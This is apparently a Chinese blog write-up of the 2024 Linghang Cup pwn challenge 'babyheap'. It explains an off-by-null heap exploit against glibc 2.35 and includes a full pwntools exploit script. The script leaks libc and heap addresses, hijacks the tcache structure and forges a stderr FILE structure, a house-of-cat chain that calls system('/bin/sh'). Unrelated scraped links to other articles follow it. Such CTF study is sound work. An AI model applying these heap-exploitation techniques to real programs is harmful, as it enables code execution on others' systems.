[2024领航杯] Pwn方向题解 babyheap
[2024领航杯] Pwn方向题解 babyheap
前言:
当然这个比赛我没有参加,是江苏省的一个比赛,附件是XiDP师傅在比赛结束之后发给我的,最近事情有点多,当时搁置了一天,昨天下午想起来这个事情,才开始看题目,XiDP师傅说是2.35版本的libc,确实高版本libc的却棘手,我经验太浅了调试半天,最后让我们一起看一下这个题目。
保护策略:
逆向分析:
功能很齐全啊,该有的都有
add函数最多存在11个堆块,没有大小限制
输入content的时候存在一个off_by_null漏洞
delete就是没有UAF漏洞,show函数是puts打印存在00截断。
edit函数只能用一次
关于泄露地址:
当然存在00截断我们无法直接泄露地址,那么就需要实现unlink来进行堆块重叠,来抵消off_by_null的00截断。
关于2.29之后off_by_null的说明:
当然在之前呢大家也可以看见,我们只需要伪造一个prev size位配合off_by_null即可完成unlink的一系列攻击而且当时只free第一个堆块的话fd和bk指针也不需要伪造了。但是在glibc2.29之后加入了检查,具体是怎么样的呢,它会检查你要释放堆块的prev size和前面堆块的size位大小是不是一样的,不一样的话就会报错,当然想要绕过这个检查就需要修改size位,其实思路的话我们可以申请7个堆块,释放0,3,6堆块,至于为什么这样,因为我们需要修改size位,因为chunk3在中间所以我们比较好修改它的size位,我们释放chunk2,那么chunk2,3合并成了一个大的chunk,然后去申请堆块修改chunk3的size位即可,建议直接修改到top_chunk那里,因为后续要实现unlink的话还是要add堆块的。
那么这里需要有一点点的堆风水,怎么说呢,因为存在off_by_null我们输入数据的时候会留下一个00,我们让chunk3的chunk地址存在到00的位置,那么在进行伪造fd和bk指针的时候就可以通过截断来指向chunk3,怎么做呢,因为chunk2,3合并了,修改chunk3之后留下了一个chunk,这个chunk只有最后一位和chunk3不一样,我们可以通过利用这个堆块和chunk0,6来达到伪造fd和bk的目的,当然chunk0的bk指针比较好伪造,chunk6的fd指针我们输入什么都会修改两位因此我们需要chunk5和chunk6合并来修改chunk6的fd指针使其指向chunk3,最后正常off_by_null即可。
后续的攻击:
当然限制堆地址和libc地址都有了还需要进行劫持相关的操作,因为2.34之后没有相关的_malloc_hook等这些钩子了,所以一开始我的想法是house of kiwi,但是发现这个版本的 _IO_helper_jumps没有可写的权限。
那么只好使用house of apple2 的相关连,house of cat(具体操作我前两篇博客里面有详细内容),但是我这里是直接修改了 stderr结构体,没有直接进行伪造但是我发现一个弊端,这样的话有点极限因为,我们无法修改太多空间如果越界修改了stdout的话会导致程序卡住,所以我在这里卡半天,一直在调试,期间我也发现了,不同版本之间一些利用链的判断条件有所不同需要进行微调。
伪造指针的情况
当然我是用的劫持tcache_ptheread_struct结构体来修改top_chunk和stderr的,因为我感觉largebin attack有点难操作,所以干脆之间修改stderr结构体了。
我是利用_malloc_assert来触发IO的,因为程序正常通过main函数返回所以也可以不用修改top_chunk,但是结构体要微调一些不然就这样了
EXP:
from gt import *
con("amd64")
io = process("./babyheap")
libc = ELF("./libc.so.6")
def add(size,msg):
io.sendlineafter("> ","1")
io.sendlineafter("size:",str(size))
io.sendlineafter("content:",msg)
def free(index):
io.sendlineafter("> ","2")
io.sendlineafter("index:",str(index))
def show(index):
io.sendlineafter("> ","3")
io.sendlineafter("index:",str(index))
def edit(index,msg):
io.sendlineafter("> ","4")
io.sendlineafter("index:",str(index))
io.sendafter("new content:",msg)
def exit():
io.sendlineafter("> ","5")
add(0x418,'a') #0
add(0x1f8,'a') #1
add(0x448,'a') #2
add(0x438,'a') #3
add(0x208,'a') #4
add(0x418,'a') #5
add(0x428,'a') #6
add(0x208,'a') #7
free(0)
free(3)
free(6)
#gdb.attach(io)
free(2)
#free(5)
#gdb.attach(io)
payload = b'a'*0x448 + b'\xb0\x10'
add(0x468,payload)
#gdb.attach(io)
add(0x418,'a')
add(0x428,'a')
add(0x418,'a')
#gdb.attach(io)
free(6)
free(2)
add(0x418,'a'*8)
free(3)
free(5)
#gdb.attach(io)
payload = b'a'*0x418 + p64(0x431)
add(0x500,payload)
add(0x9f8,'a')
add(0x408,'a')
add(0x408,'a')
payload = b'a'*0x200 + p64(0x10b0)
edit(7,payload)
free(5)
add(0x430,'a')
show(4)
io.recv(1)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x21ace0
suc("libc_base",libc_base)
IO_hleper_jumps = libc_base + 0x216a00
suc("IO_hleper_jumps",IO_hleper_jumps)
IO_file_jumps = libc_base + 0x217600
stderr = libc_base + 0x21b6a0
show(2)
io.recvuntil('a'*8)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1770
suc("heap_base",heap_base)
top_chunk = heap_base + 0x1140
add(0x200,'a')
free(9)
free(7)
key = (heap_base + 0x1000) >> 0xc
payload = b'a'*0xa50 + p64(0x340) + p64(0x210) + p64(heap_base+0x10 ^ key)
add(0xa70,payload)
add(0x200,'a')
add(0x200,b'\x07\x00'*0x40+p64(top_chunk)*20+p64(stderr)*25)
free(7)
free(8)
system = libc_base + libc.sym["system"]
fake_io_addr = stderr
fake_IO_FILE = b'/bin/sh\x00' + p64(0x201) +p64(0) +p64(heap_base + 0x200)+p64(0) + p64(0)*3
fake_IO_FILE +=p64(1)+p64(0) #rcx
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx -----> setcontext + 61
fake_IO_FILE +=p64(system)#_IO_save_end=call addr rax+0x58
fake_IO_FILE =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0) # _chain
fake_IO_FILE =fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE +=p64(fake_io_addr -0x20) #rax1
fake_IO_FILE += p64(fake_io_addr + 0x40)
fake_IO_FILE = fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE += p64(fake_io_addr + 0x40)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2170c0+0x10-0x28) # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE += p64(0x00000000fbad2800) + p64(libc_base + 0x21b803)*5
#fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0
#add(0x500,'b'*8)
add(0x290,fake_IO_FILE)
add(0xc0,p64(0)+p64(0x300))
io.sendlineafter("> ","1")
#gdb.attach(io)
io.sendlineafter("size:",str(0x500))
#gdb.attach(io)
io.interactive()
最终效果
[2024领航杯] Pwn方向题解 babyheap的更多相关文章
- 蓝桥杯练习 Day6 题解
蓝桥杯练习 Day6 题解 A 题意:给你一个等式ax+by = c,问你x,y是否有整数解. 思路:gcd(a,b) = t,如果方程有解,那么\((a/t)*x + (b/t)*y = c/t\) ...
- 网鼎杯 pwn 记录
题目位置 https://gitee.com/hac425/blog_data/tree/master/wdb babyheap 通过分配和释放构建 2 个 fastbin 链 利用 show 功能, ...
- 2019年领航杯 江苏省网络信息安全竞赛 初赛部分writeup
赛题已上传,下载连接:https://github.com/raddyfiy/2019linghangcup 做出了全部的misc和前三道逆向题,排名第10,暂且贴一下writeup. 关卡一 编码解 ...
- 2019全国大学生数学建模竞赛(高教社杯)A题题解
文件下载:https://www.lanzous.com/i6x5iif 问题一 整体过程: 0x01. 首先,需要确定燃油进入和喷出的间歇性工作过程的时间关系.考虑使用决策变量对一段时间内燃油进入和 ...
- ctfshow 1024杯 部分web题解
------------恢复内容开始------------ 今年1024忙得厉害,去大上海参加geekpwn膜拜大佬,几家平台的题目没怎么好好看.特别是小破站的比赛拉跨的一批,bytectf的web ...
- NCTF2019 小部分题解
前言 礼拜五领航杯打的比较累,做不出WEB,D3CTF没用,做了NJCTF的一些题目(懒,睡觉到12点起) Misc 第一次比赛先去做misc,以前一直做WEB,以后要WEB+MISC做.礼拜六下午做 ...
- CTF:从0到1 -> zero2one
本篇blog首发0xffff论坛(CTF:从0到1->zero2one - 0xFFFF),中间有各位大佬补充,搬到了个人博客CTF:从0到1 -> zero2one | c10udlnk ...
- UVALive 3959 Rectangular Polygons (排序贪心)
Rectangular Polygons 题目链接: http://acm.hust.edu.cn/vjudge/contest/129733#problem/G Description In thi ...
- TZOJ 2588 Bad Grass(DFS)
描述 Bessie was munching on tender shoots of grass and, as cows do, contemplating the state of the uni ...
- hdu1312Red and Black(迷宫dfs,一遍)
Red and Black Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others)Tot ...
随机推荐
- 【C】Re02
一.命令行参数 #include <stdio.h> /** * 运行执行程序的命令携带 一些附加参数,传递给程序执行 * @param argc 命令行参数的个数 * @param ar ...
- 【Spring-Security】Re05 权限控制及403处理
一.访问控制方法及控制项: 上述配置中的URL后面都离不开的一个访问控制抉择: 1.全部允许 PermiAll 2.全部拒绝 DenyAll 3.允许匿名访问 Anonymous 也就是普通访问者 4 ...
- 【MySQL】Windows-5.7.30 解压版 下载安装
1.Download 下载 mysql官网: https://dev.mysql.com/ 找到download点击进入下载页面: https://dev.mysql.com/downloads/ 找 ...
- 国内的开源AI模型共享网站(AI模型的GitHub)—— mindscope —— 使用git lfs方式下载模型文件
参考前文: 国内的开源AI模型共享网站(AI模型的GitHub)-- mindscope -- 对标外网的"huggingface",mindscope好用吗? 使用git lfs ...
- 【转载】 docker挂载volume的用户权限问题,理解docker容器的uid
=================================================================== 在刚开始使用docker volume挂载数据卷的时候,经常出现 ...
- python代码实现将PDF文件转为文本及其对应的音频
代码地址: https://github.com/TiffinTech/python-pdf-audo ============================================ imp ...
- Kotlin 布尔值教程:深入理解与应用示例
Kotlin 布尔值 在编程中,您经常需要一种只能有两个值的数据类型,例如: 是 / 否 开 / 关 真 / 假 为此,Kotlin 有一种布尔数据类型,可以取 true 或 false 值. 布尔值 ...
- [学习笔记] 斜率优化DP - DP
这个真的好容易啊 --wzw 斜率优化dP 例题 [SDOI2012] 任务安排 毒瘤题,让我惨淡经营了两天.这道题luogu有简单版,可以先去看简单版. 显然这是一只DP题,直接开始推狮子.令 dp ...
- lamada 表达式
语法篇 -- \(lamada\) 表达式 函数内定义的函数,看起来能使代码更加美观. 具体定义方法: 前面挂个 auto ,不管他返不返回值 后面是函数名(表达式名) 例: Cekas 先是中括号表 ...
- Gradio.NET 支持 .NET 8 简化 Web 应用开发
前言 Gradio.NET 是 Gradio 在 .NET 平台上的移植版本.Gradio 是一个开源的 Python 包,用于快速构建机器学习模型.API 或任意 Python 函数的演示或 Web ...